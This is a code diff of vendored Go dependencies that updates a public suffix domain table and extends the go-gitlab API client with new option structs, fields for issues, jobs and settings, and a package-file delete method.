     8261 + {1, "candypop.jp", 2, true},
     8262 + {1, "capoo.jp", 2, true},
     8263 + {1, "catfood.jp", 2, true},
     8264 + {1, "cheap.jp", 2, true},
     8265 + {1, "chicappa.jp", 2, true},
     8266 + {1, "chillout.jp", 2, true},
     8267 + {1, "chips.jp", 2, true},
     8268 + {1, "chowder.jp", 2, true},
     8269 + {1, "chu.jp", 2, true},
     8270 + {1, "ciao.jp", 2, true},
     8271 + {1, "cocotte.jp", 2, true},
     8272 + {1, "coolblog.jp", 2, true},
     8273 + {1, "cranky.jp", 2, true},
     8274 + {1, "cutegirl.jp", 2, true},
     8275 + {1, "daa.jp", 2, true},
     8276 + {1, "deca.jp", 2, true},
     8277 + {1, "deci.jp", 2, true},
     8278 + {1, "digick.jp", 2, true},
     8279 + {1, "egoism.jp", 2, true},
     8280 + {1, "fakefur.jp", 2, true},
     8281 + {1, "fem.jp", 2, true},
     8282 + {1, "flier.jp", 2, true},
     8283 + {1, "floppy.jp", 2, true},
     8284 + {1, "fool.jp", 2, true},
     8285 + {1, "frenchkiss.jp", 2, true},
     8286 + {1, "girlfriend.jp", 2, true},
     8287 + {1, "girly.jp", 2, true},
     8288 + {1, "gloomy.jp", 2, true},
     8289 + {1, "gonna.jp", 2, true},
     8290 + {1, "greater.jp", 2, true},
     8291 + {1, "hacca.jp", 2, true},
     8292 + {1, "heavy.jp", 2, true},
     8293 + {1, "her.jp", 2, true},
     8294 + {1, "hiho.jp", 2, true},
     8295 + {1, "hippy.jp", 2, true},
     8296 + {1, "holy.jp", 2, true},
     8297 + {1, "hungry.jp", 2, true},
     8298 + {1, "icurus.jp", 2, true},
     8299 + {1, "itigo.jp", 2, true},
     8300 + {1, "jellybean.jp", 2, true},
     8301 + {1, "kikirara.jp", 2, true},
     8302 + {1, "kill.jp", 2, true},
     8303 + {1, "kilo.jp", 2, true},
     8304 + {1, "kuron.jp", 2, true},
     8305 + {1, "littlestar.jp", 2, true},
     8306 + {1, "lolipopmc.jp", 2, true},
     8307 + {1, "lolitapunk.jp", 2, true},
     8308 + {1, "lomo.jp", 2, true},
     8309 + {1, "lovepop.jp", 2, true},
     8310 + {1, "lovesick.jp", 2, true},
     8311 + {1, "main.jp", 2, true},
     8312 + {1, "mods.jp", 2, true},
     8313 + {1, "mond.jp", 2, true},
     8314 + {1, "mongolian.jp", 2, true},
     8315 + {1, "moo.jp", 2, true},
     8316 + {1, "namaste.jp", 2, true},
     8317 + {1, "nikita.jp", 2, true},
     8318 + {1, "nobushi.jp", 2, true},
     8319 + {1, "noor.jp", 2, true},
     8320 + {1, "oops.jp", 2, true},
     8321 + {1, "parallel.jp", 2, true},
     8322 + {1, "parasite.jp", 2, true},
     8323 + {1, "pecori.jp", 2, true},
     8324 + {1, "peewee.jp", 2, true},
     8325 + {1, "penne.jp", 2, true},
     8326 + {1, "pepper.jp", 2, true},
     8327 + {1, "perma.jp", 2, true},
     8328 + {1, "pigboat.jp", 2, true},
     8329 + {1, "pinoko.jp", 2, true},
     8330 + {1, "punyu.jp", 2, true},
     8331 + {1, "pupu.jp", 2, true},
     8332 + {1, "pussycat.jp", 2, true},
     8333 + {1, "pya.jp", 2, true},
     8334 + {1, "raindrop.jp", 2, true},
     8335 + {1, "readymade.jp", 2, true},
     8336 + {1, "sadist.jp", 2, true},
     8337 + {1, "schoolbus.jp", 2, true},
     8338 + {1, "secret.jp", 2, true},
     8339 + {1, "staba.jp", 2, true},
     8340 + {1, "stripper.jp", 2, true},
     8341 + {1, "sub.jp", 2, true},
     8342 + {1, "sunnyday.jp", 2, true},
     8343 + {1, "thick.jp", 2, true},
     8344 + {1, "tonkotsu.jp", 2, true},
     8345 + {1, "under.jp", 2, true},
     8346 + {1, "upper.jp", 2, true},
     8347 + {1, "velvet.jp", 2, true},
     8348 + {1, "verse.jp", 2, true},
     8349 + {1, "versus.jp", 2, true},
     8350 + {1, "vivian.jp", 2, true},
     8351 + {1, "watson.jp", 2, true},
     8352 + {1, "weblike.jp", 2, true},
     8353 + {1, "whitesnow.jp", 2, true},
     8354 + {1, "zombie.jp", 2, true},
     8355 + {1, "heteml.net", 2, true},
    8234 8356   {1, "cloudapps.digital", 2, true},
    8235 8357   {1, "london.cloudapps.digital", 3, true},
    8236 8358   {1, "pymnt.uk", 2, true},
    skipped 16 lines
    8253 8375   {2, "gateway.dev", 3, true},
    8254 8376   {1, "cloud.goog", 2, true},
    8255 8377   {1, "translate.goog", 2, true},
     8378 + {2, "usercontent.goog", 3, true},
    8256 8379   {1, "cloudfunctions.net", 2, true},
    8257 8380   {1, "blogspot.ae", 2, true},
    8258 8381   {1, "blogspot.al", 2, true},
    skipped 70 lines
    8329 8452   {1, "blogspot.ug", 2, true},
    8330 8453   {1, "blogspot.vn", 2, true},
    8331 8454   {1, "goupile.fr", 2, true},
     8455 + {1, "gov.nl", 2, true},
    8332 8456   {1, "awsmppl.com", 2, true},
    8333 8457   {1, "xn--gnstigbestellen-zvb.de", 2, true},
    8334 8458   {1, "xn--gnstigliefern-wob.de", 2, true},
    skipped 11 lines
    8346 8470   {1, "hepforge.org", 2, true},
    8347 8471   {1, "herokuapp.com", 2, true},
    8348 8472   {1, "herokussl.com", 2, true},
     8473 + {1, "ravendb.cloud", 2, true},
    8349 8474   {1, "myravendb.com", 2, true},
    8350 8475   {1, "ravendb.community", 2, true},
    8351 8476   {1, "ravendb.me", 2, true},
    skipped 1 lines
    8353 8478   {1, "ravendb.run", 2, true},
    8354 8479   {1, "homesklep.pl", 2, true},
    8355 8480   {1, "secaas.hk", 2, true},
     8481 + {1, "hoplix.shop", 2, true},
    8356 8482   {1, "orx.biz", 2, true},
    8357 8483   {1, "biz.gl", 2, true},
    8358 8484   {1, "col.ng", 2, true},
    skipped 3 lines
    8362 8488   {1, "ngo.ng", 2, true},
    8363 8489   {1, "edu.scot", 2, true},
    8364 8490   {1, "sch.so", 2, true},
    8365  - {1, "org.yt", 2, true},
    8366 8491   {1, "hostyhosting.io", 2, true},
    8367 8492   {1, "xn--hkkinen-5wa.fi", 2, true},
    8368 8493   {2, "moonscale.io", 3, true},
    8369 8494   {1, "moonscale.net", 2, true},
    8370 8495   {1, "iki.fi", 2, true},
     8496 + {1, "ibxos.it", 2, true},
     8497 + {1, "iliadboxos.it", 2, true},
    8371 8498   {1, "impertrixcdn.com", 2, true},
    8372 8499   {1, "impertrix.com", 2, true},
    8373 8500   {1, "smushcdn.com", 2, true},
    skipped 45 lines
    8419 8546   {1, "na4u.ru", 2, true},
    8420 8547   {1, "iopsys.se", 2, true},
    8421 8548   {1, "ipifony.net", 2, true},
     8549 + {1, "iservschule.de", 2, true},
    8422 8550   {1, "mein-iserv.de", 2, true},
     8551 + {1, "schulplattform.de", 2, true},
    8423 8552   {1, "schulserver.de", 2, true},
    8424 8553   {1, "test-iserv.de", 2, true},
    8425 8554   {1, "iserv.dev", 2, true},
    skipped 92 lines
    8518 8647   {1, "js.org", 2, true},
    8519 8648   {1, "kaas.gg", 2, true},
    8520 8649   {1, "khplay.nl", 2, true},
     8650 + {1, "ktistory.com", 2, true},
     8651 + {1, "kapsi.fi", 2, true},
    8521 8652   {1, "keymachine.de", 2, true},
    8522 8653   {1, "kinghost.net", 2, true},
    8523 8654   {1, "uni5.net", 2, true},
    8524 8655   {1, "knightpoint.systems", 2, true},
     8656 + {1, "koobin.events", 2, true},
    8525 8657   {1, "oya.to", 2, true},
    8526 8658   {1, "kuleuven.cloud", 2, true},
    8527 8659   {1, "ezproxy.kuleuven.be", 3, true},
    skipped 21 lines
    8549 8681   {1, "members.linode.com", 3, true},
    8550 8682   {2, "nodebalancer.linode.com", 4, true},
    8551 8683   {2, "linodeobjects.com", 3, true},
     8684 + {1, "ip.linodeusercontent.com", 3, true},
    8552 8685   {1, "we.bs", 2, true},
     8686 + {2, "user.localcert.dev", 4, true},
    8553 8687   {1, "localzone.xyz", 2, true},
    8554 8688   {1, "loginline.app", 2, true},
    8555 8689   {1, "loginline.dev", 2, true},
    skipped 51 lines
    8607 8741   {1, "hra.health", 2, true},
    8608 8742   {1, "miniserver.com", 2, true},
    8609 8743   {1, "memset.net", 2, true},
     8744 + {1, "messerli.app", 2, true},
    8610 8745   {2, "cloud.metacentrum.cz", 4, true},
    8611 8746   {1, "custom.metacentrum.cz", 3, true},
    8612 8747   {1, "flt.cloud.muni.cz", 4, true},
    skipped 6 lines
    8619 8754   {1, "azure-mobile.net", 2, true},
    8620 8755   {1, "cloudapp.net", 2, true},
    8621 8756   {1, "azurestaticapps.net", 2, true},
     8757 + {1, "1.azurestaticapps.net", 3, true},
    8622 8758   {1, "centralus.azurestaticapps.net", 3, true},
    8623 8759   {1, "eastasia.azurestaticapps.net", 3, true},
    8624 8760   {1, "eastus2.azurestaticapps.net", 3, true},
    skipped 37 lines
    8662 8798   {1, "that.win", 2, true},
    8663 8799   {1, "from.work", 2, true},
    8664 8800   {1, "to.work", 2, true},
     8801 + {1, "cloud.nospamproxy.com", 3, true},
    8665 8802   {1, "netlify.app", 2, true},
    8666 8803   {1, "4u.com", 2, true},
    8667 8804   {1, "ngrok.io", 2, true},
    skipped 2 lines
    8670 8807   {2, "developer.app", 3, true},
    8671 8808   {1, "noop.app", 2, true},
    8672 8809   {2, "northflank.app", 3, true},
     8810 + {2, "build.run", 3, true},
    8673 8811   {2, "code.run", 3, true},
     8812 + {2, "database.run", 3, true},
     8813 + {2, "migration.run", 3, true},
    8674 8814   {1, "noticeable.news", 2, true},
    8675 8815   {1, "dnsking.ch", 2, true},
    8676 8816   {1, "mypi.co", 2, true},
    skipped 108 lines
    8785 8925   {1, "webhop.me", 2, true},
    8786 8926   {1, "zapto.org", 2, true},
    8787 8927   {1, "stage.nodeart.io", 3, true},
    8788  - {1, "nodum.co", 2, true},
    8789  - {1, "nodum.io", 2, true},
    8790 8928   {1, "pcloud.host", 2, true},
    8791 8929   {1, "nyc.mn", 2, true},
    8792 8930   {1, "static.observableusercontent.com", 3, true},
    skipped 1 lines
    8794 8932   {1, "omg.lol", 2, true},
    8795 8933   {1, "cloudycluster.net", 2, true},
    8796 8934   {1, "omniwe.site", 2, true},
     8935 + {1, "service.one", 2, true},
    8797 8936   {1, "nid.io", 2, true},
    8798 8937   {1, "opensocial.site", 2, true},
    8799 8938   {1, "opencraft.hosting", 2, true},
    8800 8939   {1, "orsites.com", 2, true},
    8801 8940   {1, "operaunite.com", 2, true},
     8941 + {1, "tech.orange", 2, true},
    8802 8942   {1, "authgear-staging.com", 2, true},
    8803 8943   {1, "authgearapps.com", 2, true},
    8804 8944   {1, "skygearapp.com", 2, true},
    skipped 38 lines
    8843 8983   {1, "plesk.page", 2, true},
    8844 8984   {1, "pleskns.com", 2, true},
    8845 8985   {1, "dyn53.io", 2, true},
     8986 + {1, "onporter.run", 2, true},
    8846 8987   {1, "co.bn", 2, true},
    8847 8988   {1, "postman-echo.com", 2, true},
    8848 8989   {1, "pstmn.io", 2, true},
    8849 8990   {1, "mock.pstmn.io", 3, true},
    8850 8991   {1, "httpbin.org", 2, true},
     8992 + {1, "prequalifyme.today", 2, true},
    8851 8993   {1, "xen.prgmr.com", 3, true},
    8852 8994   {1, "priv.at", 2, true},
    8853 8995   {1, "prvcy.page", 2, true},
    skipped 41 lines
    8895 9037   {1, "adimo.co.uk", 3, true},
    8896 9038   {1, "itcouldbewor.se", 2, true},
    8897 9039   {1, "git-pages.rit.edu", 3, true},
     9040 + {1, "rocky.page", 2, true},
    8898 9041   {1, "xn--90amc.xn--p1acf", 2, true},
    8899 9042   {1, "xn--j1aef.xn--p1acf", 2, true},
    8900 9043   {1, "xn--j1ael8b.xn--p1acf", 2, true},
    skipped 4 lines
    8905 9048   {1, "xn--h1aliz.xn--p1acf", 2, true},
    8906 9049   {1, "xn--90a1af.xn--p1acf", 2, true},
    8907 9050   {1, "xn--41a.xn--p1acf", 2, true},
     9051 + {2, "builder.code.com", 4, true},
     9052 + {2, "dev-builder.code.com", 4, true},
     9053 + {2, "stg-builder.code.com", 4, true},
    8908 9054   {1, "sandcats.io", 2, true},
    8909 9055   {1, "logoip.de", 2, true},
    8910 9056   {1, "logoip.com", 2, true},
     9057 + {1, "fr-par-1.baremetal.scw.cloud", 4, true},
     9058 + {1, "fr-par-2.baremetal.scw.cloud", 4, true},
     9059 + {1, "nl-ams-1.baremetal.scw.cloud", 4, true},
     9060 + {1, "fnc.fr-par.scw.cloud", 4, true},
     9061 + {1, "functions.fnc.fr-par.scw.cloud", 5, true},
     9062 + {1, "k8s.fr-par.scw.cloud", 4, true},
     9063 + {1, "nodes.k8s.fr-par.scw.cloud", 5, true},
     9064 + {1, "s3.fr-par.scw.cloud", 4, true},
     9065 + {1, "s3-website.fr-par.scw.cloud", 4, true},
     9066 + {1, "whm.fr-par.scw.cloud", 4, true},
     9067 + {1, "priv.instances.scw.cloud", 4, true},
     9068 + {1, "pub.instances.scw.cloud", 4, true},
     9069 + {1, "k8s.scw.cloud", 3, true},
     9070 + {1, "k8s.nl-ams.scw.cloud", 4, true},
     9071 + {1, "nodes.k8s.nl-ams.scw.cloud", 5, true},
     9072 + {1, "s3.nl-ams.scw.cloud", 4, true},
     9073 + {1, "s3-website.nl-ams.scw.cloud", 4, true},
     9074 + {1, "whm.nl-ams.scw.cloud", 4, true},
     9075 + {1, "k8s.pl-waw.scw.cloud", 4, true},
     9076 + {1, "nodes.k8s.pl-waw.scw.cloud", 5, true},
     9077 + {1, "s3.pl-waw.scw.cloud", 4, true},
     9078 + {1, "s3-website.pl-waw.scw.cloud", 4, true},
     9079 + {1, "scalebook.scw.cloud", 3, true},
     9080 + {1, "smartlabeling.scw.cloud", 3, true},
     9081 + {1, "dedibox.fr", 2, true},
    8911 9082   {1, "schokokeks.net", 2, true},
    8912 9083   {1, "gov.scot", 2, true},
    8913 9084   {1, "service.gov.scot", 3, true},
    skipped 38 lines
    8952 9123   {1, "try-snowplow.com", 2, true},
    8953 9124   {1, "srht.site", 2, true},
    8954 9125   {1, "stackhero-network.com", 2, true},
     9126 + {1, "musician.io", 2, true},
    8955 9127   {1, "novecore.site", 2, true},
    8956 9128   {1, "static.land", 2, true},
    8957 9129   {1, "dev.static.land", 3, true},
    skipped 40 lines
    8998 9170   {2, "s5y.io", 3, true},
    8999 9171   {2, "sensiosite.cloud", 3, true},
    9000 9172   {1, "syncloud.it", 2, true},
    9001  - {1, "diskstation.me", 2, true},
    9002 9173   {1, "dscloud.biz", 2, true},
     9174 + {1, "direct.quickconnect.cn", 3, true},
     9175 + {1, "dsmynas.com", 2, true},
     9176 + {1, "familyds.com", 2, true},
     9177 + {1, "diskstation.me", 2, true},
    9003 9178   {1, "dscloud.me", 2, true},
     9179 + {1, "i234.me", 2, true},
     9180 + {1, "myds.me", 2, true},
     9181 + {1, "synology.me", 2, true},
    9004 9182   {1, "dscloud.mobi", 2, true},
    9005  - {1, "dsmynas.com", 2, true},
    9006 9183   {1, "dsmynas.net", 2, true},
     9184 + {1, "familyds.net", 2, true},
    9007 9185   {1, "dsmynas.org", 2, true},
    9008  - {1, "familyds.com", 2, true},
    9009  - {1, "familyds.net", 2, true},
    9010 9186   {1, "familyds.org", 2, true},
    9011  - {1, "i234.me", 2, true},
    9012  - {1, "myds.me", 2, true},
    9013  - {1, "synology.me", 2, true},
    9014 9187   {1, "vpnplus.to", 2, true},
    9015 9188   {1, "direct.quickconnect.to", 3, true},
    9016 9189   {1, "tabitorder.co.il", 3, true},
    9017 9190   {1, "taifun-dns.de", 2, true},
     9191 + {1, "beta.tailscale.net", 3, true},
     9192 + {1, "ts.net", 2, true},
    9018 9193   {1, "gda.pl", 2, true},
    9019 9194   {1, "gdansk.pl", 2, true},
    9020 9195   {1, "gdynia.pl", 2, true},
    9021 9196   {1, "med.pl", 2, true},
    9022 9197   {1, "sopot.pl", 2, true},
    9023  - {1, "edugit.org", 2, true},
     9198 + {1, "site.tb-hosting.com", 3, true},
     9199 + {1, "edugit.io", 2, true},
     9200 + {1, "s3.teckids.org", 3, true},
    9024 9201   {1, "telebit.app", 2, true},
    9025 9202   {1, "telebit.io", 2, true},
    9026 9203   {2, "telebit.xyz", 3, true},
    skipped 9 lines
    9036 9213   {1, "reservd.dev.thingdust.io", 4, true},
    9037 9214   {1, "reservd.disrec.thingdust.io", 4, true},
    9038 9215   {1, "reservd.testing.thingdust.io", 4, true},
     9216 + {1, "tickets.io", 2, true},
    9039 9217   {1, "arvo.network", 2, true},
    9040 9218   {1, "azimuth.network", 2, true},
    9041 9219   {1, "tlon.network", 2, true},
    skipped 24 lines
    9066 9244   {2, "transurl.be", 3, true},
    9067 9245   {2, "transurl.eu", 3, true},
    9068 9246   {2, "transurl.nl", 3, true},
     9247 + {1, "site.transip.me", 3, true},
    9069 9248   {1, "tuxfamily.org", 2, true},
    9070 9249   {1, "dd-dns.de", 2, true},
    9071 9250   {1, "diskstation.eu", 2, true},
    skipped 8 lines
    9080 9259   {1, "syno-ds.de", 2, true},
    9081 9260   {1, "synology-diskstation.de", 2, true},
    9082 9261   {1, "synology-ds.de", 2, true},
     9262 + {1, "typedream.app", 2, true},
     9263 + {1, "pro.typeform.com", 3, true},
    9083 9264   {1, "uber.space", 2, true},
    9084 9265   {2, "uberspace.de", 3, true},
    9085 9266   {1, "hk.com", 2, true},
    9086 9267   {1, "hk.org", 2, true},
    9087 9268   {1, "ltd.hk", 2, true},
    9088 9269   {1, "inc.hk", 2, true},
     9270 + {1, "name.pm", 2, true},
     9271 + {1, "sch.tf", 2, true},
     9272 + {1, "biz.wf", 2, true},
     9273 + {1, "sch.wf", 2, true},
     9274 + {1, "org.yt", 2, true},
    9089 9275   {1, "virtualuser.de", 2, true},
    9090 9276   {1, "virtual-user.de", 2, true},
     9277 + {1, "upli.io", 2, true},
    9091 9278   {1, "urown.cloud", 2, true},
    9092 9279   {1, "dnsupdate.info", 2, true},
    9093 9280   {1, "lib.de.us", 3, true},
    skipped 44 lines
    9138 9325   {1, "dev.vu", 2, true},
    9139 9326   {1, "me.vu", 2, true},
    9140 9327   {1, "v.ua", 2, true},
     9328 + {2, "vultrobjects.com", 3, true},
    9141 9329   {1, "wafflecell.com", 2, true},
    9142  - {1, "idnblogger.com", 2, true},
    9143  - {1, "indowapblog.com", 2, true},
    9144  - {1, "bloger.id", 2, true},
    9145  - {1, "wblog.id", 2, true},
    9146  - {1, "wbq.me", 2, true},
    9147  - {1, "fastblog.net", 2, true},
    9148 9330   {2, "webhare.dev", 3, true},
    9149 9331   {1, "reserve-online.net", 2, true},
    9150 9332   {1, "reserve-online.com", 2, true},
    skipped 9 lines
    9160 9342   {1, "wmcloud.org", 2, true},
    9161 9343   {1, "panel.gg", 2, true},
    9162 9344   {1, "daemon.panel.gg", 3, true},
     9345 + {1, "messwithdns.com", 2, true},
    9163 9346   {1, "woltlab-demo.com", 2, true},
    9164 9347   {1, "myforum.community", 2, true},
    9165 9348   {1, "community-pro.de", 2, true},
    skipped 46 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/README.md
    skipped 74 lines
    75 75  - [x] Project Members
    76 76  - [x] Project Milestones
    77 77  - [x] Project Snippets
     78 +- [x] Project Vulnerabilities
    78 79  - [x] Project-Level Variables
    79 80  - [x] Projects (including setting Webhooks)
    80 81  - [x] Protected Branches
    skipped 122 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/gitlab.go
    skipped 22 lines
    23 23   "encoding/json"
    24 24   "fmt"
    25 25   "io"
    26  - "io/ioutil"
    27 26   "math/rand"
    28 27   "mime/multipart"
    29 28   "net/http"
    skipped 855 lines
    885 884   }
    886 885   
    887 886   errorResponse := &ErrorResponse{Response: r}
    888  - data, err := ioutil.ReadAll(r.Body)
     887 + data, err := io.ReadAll(r.Body)
    889 888   if err == nil && data != nil {
    890 889   errorResponse.Body = data
    891 890   
    skipped 54 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/group_members.go
    skipped 327 lines
    328 328   return gm, resp, err
    329 329  }
    330 330   
     331 +// RemoveGroupMemberOptions represents the available options to remove a group member.
     332 +//
     333 +// GitLab API docs: https://docs.gitlab.com/ee/api/members.html#remove-a-member-from-a-group-or-project
     334 +type RemoveGroupMemberOptions struct {
     335 + SkipSubresources *bool `url:"skip_subresources,omitempty" json:"skip_subresources,omitempty"`
     336 + UnassignIssuables *bool `url:"unassign_issuables,omitempty" json:"unassign_issuables,omitempty"`
     337 +}
     338 + 
    331 339  // RemoveGroupMember removes user from user team.
    332 340  //
    333 341  // GitLab API docs:
    334 342  // https://docs.gitlab.com/ce/api/members.html#remove-a-member-from-a-group-or-project
    335  -func (s *GroupMembersService) RemoveGroupMember(gid interface{}, user int, options ...RequestOptionFunc) (*Response, error) {
     343 +func (s *GroupMembersService) RemoveGroupMember(gid interface{}, user int, opt *RemoveGroupMemberOptions, options ...RequestOptionFunc) (*Response, error) {
    336 344   group, err := parseID(gid)
    337 345   if err != nil {
    338 346   return nil, err
    339 347   }
    340 348   u := fmt.Sprintf("groups/%s/members/%d", PathEscape(group), user)
    341 349   
    342  - req, err := s.client.NewRequest(http.MethodDelete, u, nil, options)
     350 + req, err := s.client.NewRequest(http.MethodDelete, u, opt, options)
    343 351   if err != nil {
    344 352   return nil, err
    345 353   }
    skipped 4 lines
  • ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/invites.go
    skipped 110 lines
    111 111  type InvitesOptions struct {
    112 112   ID interface{} `url:"id,omitempty" json:"id,omitempty"`
    113 113   Email *string `url:"email,omitempty" json:"email,omitempty"`
     114 + UserID interface{} `url:"user_id,omitempty" json:"user_id,omitempty"`
    114 115   AccessLevel *AccessLevelValue `url:"access_level,omitempty" json:"access_level,omitempty"`
    115 116   ExpiresAt *ISOTime `url:"expires_at,omitempty" json:"expires_at,omitempty"`
    116 117  }
    skipped 60 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/issues.go
    skipped 119 lines
    120 120   MergeRequestCount int `json:"merge_requests_count"`
    121 121   EpicIssueID int `json:"epic_issue_id"`
    122 122   Epic *Epic `json:"epic"`
     123 + Iteration *GroupIteration `json:"iteration"`
    123 124   TaskCompletionStatus *TasksCompletionStatus `json:"task_completion_status"`
    124 125  }
    125 126   
    skipped 106 lines
    232 233   UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"`
    233 234   Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"`
    234 235   IssueType *string `url:"issue_type,omitempty" json:"issue_type,omitempty"`
     236 + IterationID *int `url:"iteration_id,omitempty" json:"iteration_id,omitempty"`
    235 237  }
    236 238   
    237 239  // ListIssues gets all issues created by authenticated user. This function
    skipped 46 lines
    284 286   UpdatedAfter *time.Time `url:"updated_after,omitempty" json:"updated_after,omitempty"`
    285 287   UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"`
    286 288   IssueType *string `url:"issue_type,omitempty" json:"issue_type,omitempty"`
     289 + IterationID *int `url:"iteration_id,omitempty" json:"iteration_id,omitempty"`
    287 290  }
    288 291   
    289 292  // ListGroupIssues gets a list of group issues. This function accepts
    skipped 53 lines
    343 346   UpdatedBefore *time.Time `url:"updated_before,omitempty" json:"updated_before,omitempty"`
    344 347   Confidential *bool `url:"confidential,omitempty" json:"confidential,omitempty"`
    345 348   IssueType *string `url:"issue_type,omitempty" json:"issue_type,omitempty"`
     349 + IterationID *int `url:"iteration_id,omitempty" json:"iteration_id,omitempty"`
    346 350  }
    347 351   
    348 352  // ListProjectIssues gets a list of project issues. This function accepts
    skipped 401 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/jobs.go
    skipped 47 lines
    48 48   ID int `json:"id"`
    49 49   Name string `json:"name"`
    50 50   Pipeline struct {
    51  - ID int `json:"id"`
    52  - Ref string `json:"ref"`
    53  - Sha string `json:"sha"`
    54  - Status string `json:"status"`
     51 + ID int `json:"id"`
     52 + ProjectID int `json:"project_id"`
     53 + Ref string `json:"ref"`
     54 + Sha string `json:"sha"`
     55 + Status string `json:"status"`
    55 56   } `json:"pipeline"`
    56 57   Ref string `json:"ref"`
    57 58   Artifacts []struct {
    skipped 493 lines
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/packages.go
    skipped 224 lines
    225 225   return s.client.Do(req, nil)
    226 226  }
    227 227   
     228 +// DeletePackageFile deletes a file in project package
     229 +//
     230 +// GitLab API docs:
     231 +// https://docs.gitlab.com/ee/api/packages.html#delete-a-package-file
     232 +func (s *PackagesService) DeletePackageFile(pid interface{}, pkg, file int, options ...RequestOptionFunc) (*Response, error) {
     233 + project, err := parseID(pid)
     234 + if err != nil {
     235 + return nil, err
     236 + }
     237 + u := fmt.Sprintf("projects/%s/packages/%d/package_files/%d", PathEscape(project), pkg, file)
     238 + 
     239 + req, err := s.client.NewRequest(http.MethodDelete, u, nil, options)
     240 + if err != nil {
     241 + return nil, err
     242 + }
     243 + 
     244 + return s.client.Do(req, nil)
     245 +}
     246 + 
  • ■ ■ ■ ■ ■ ■
    vendor/github.com/xanzy/go-gitlab/settings.go
    skipped 57 lines
    58 58   AssetProxyAllowlist []string `json:"asset_proxy_allowlist"`
    59 59   AssetProxyEnabled bool `json:"asset_proxy_enabled"`
    60 60   AssetProxyURL string `json:"asset_proxy_url"`
     61 + AssetProxySecretKey string `json:"asset_proxy_secret_key"`
    61 62   AssetProxyWhitelist []string `json:"asset_proxy_whitelist"` // deprecated
    62 63   AuthorizedKeysEnabled bool `json:"authorized_keys_enabled"`
    63 64   AutoDevOpsDomain string `json:"auto_devops_domain"`
    skipped 28 lines
    92 93   DefaultProjectVisibility VisibilityValue `json:"default_project_visibility"`
    93 94   DefaultProjectsLimit int `json:"default_projects_limit"`
    94 95   DefaultSnippetVisibility VisibilityValue `json:"default_snippet_visibility"`
     96 + DelayedGroupDeletion bool `json:"delayed_group_deletion"`
    95 97   DelayedProjectDeletion bool `json:"delayed_project_deletion"`
     98 + DeleteInactiveProjects bool `json:"delete_inactive_projects"`
    96 99   DeletionAdjournedPeriod int `json:"deletion_adjourned_period"`
    97 100   DiffMaxFiles int `json:"diff_max_files"`
    98 101   DiffMaxLines int `json:"diff_max_lines"`
    skipped 9 lines
    108 111   EKSAccessKeyID string `json:"eks_access_key_id"`
    109 112   EKSAccountID string `json:"eks_account_id"`
    110 113   EKSIntegrationEnabled bool `json:"eks_integration_enabled"`
     114 + EKSSecretAccessKey string `json:"eks_secret_access_key"`
    111 115   Ed25519KeyRestriction int `json:"ed25519_key_restriction"`
    112 116   Ed25519SKKeyRestriction int `json:"ed25519_sk_key_restriction"`
    113 117   ElasticsearchAWS bool `json:"elasticsearch_aws"`
    114 118   ElasticsearchAWSAccessKey string `json:"elasticsearch_aws_access_key"`
    115 119   ElasticsearchAWSRegion string `json:"elasticsearch_aws_region"`
     120 + ElasticsearchAWSSecretAccessKey string `json:"elasticsearch_aws_secret_access_key"`
    116 121   ElasticsearchAnalyzersKuromojiEnabled bool `json:"elasticsearch_analyzers_kuromoji_enabled"`
    117 122   ElasticsearchAnalyzersKuromojiSearch bool `json:"elasticsearch_analyzers_kuromoji_search"`
    118 123   ElasticsearchAnalyzersSmartCNEnabled bool `json:"elasticsearch_analyzers_smartcn_enabled"`
    skipped 44 lines
    163 168   GitalyTimeoutMedium int `json:"gitaly_timeout_medium"`
    164 169   GitpodEnabled bool `json:"gitpod_enabled"`
    165 170   GitpodURL string `json:"gitpod_url"`
     171 + GitRateLimitUsersAllowlist []string `json:"git_rate_limit_users_allowlist"`
    166 172   GrafanaEnabled bool `json:"grafana_enabled"`
    167 173   GrafanaURL string `json:"grafana_url"`
    168 174   GravatarEnabled bool `json:"gravatar_enabled"`
    skipped 17 lines
    186 192   HousekeepingGcPeriod int `json:"housekeeping_gc_period"`
    187 193   HousekeepingIncrementalRepackPeriod int `json:"housekeeping_incremental_repack_period"`
    188 194   ImportSources []string `json:"import_sources"`
     195 + InactiveProjectsDeleteAfterMonths int `json:"inactive_projects_delete_after_months"`
     196 + InactiveProjectsMinSizeMB int `json:"inactive_projects_min_size_mb"`
     197 + InactiveProjectsSendWarningEmailAfterMonths int `json:"inactive_projects_send_warning_email_after_months"`
    189 198   InProductMarketingEmailsEnabled bool `json:"in_product_marketing_emails_enabled"`
    190 199   InvisibleCaptchaEnabled bool `json:"invisible_captcha_enabled"`
    191 200   IssuesCreateLimit int `json:"issues_create_limit"`
    skipped 10 lines
    202 211   MaintenanceModeMessage string `json:"maintenance_mode_message"`
    203 212   MaxArtifactsSize int `json:"max_artifacts_size"`
    204 213   MaxAttachmentSize int `json:"max_attachment_size"`
     214 + MaxExportSize int `json:"max_export_size"`
    205 215   MaxImportSize int `json:"max_import_size"`
     216 + MaxNumberOfRepositoryDownloads int `json:"max_number_of_repository_downloads"`
     217 + MaxNumberOfRepositoryDownloadsWithinTimePeriod int `json:"max_number_of_repository_downloads_within_time_period"`
    206 218   MaxPagesSize int `json:"max_pages_size"`
    207 219   MaxPersonalAccessTokenLifetime int `json:"max_personal_access_token_lifetime"`
    208 220   MaxSSHKeyLifetime int `json:"max_ssh_key_lifetime"`
    skipped 9 lines
    218 230   NotesCreateLimit int `json:"notes_create_limit"`
    219 231   NotifyOnUnknownSignIn bool `json:"notify_on_unknown_sign_in"`
    220 232   OutboundLocalRequestsAllowlistRaw string `json:"outbound_local_requests_allowlist_raw"`
     233 + OutboundLocalRequestsWhitelist []string `json:"outbound_local_requests_whitelist"`
     234 + PackageRegistryCleanupPoliciesWorkerCapacity int `json:"package_registry_cleanup_policies_worker_capacity"`
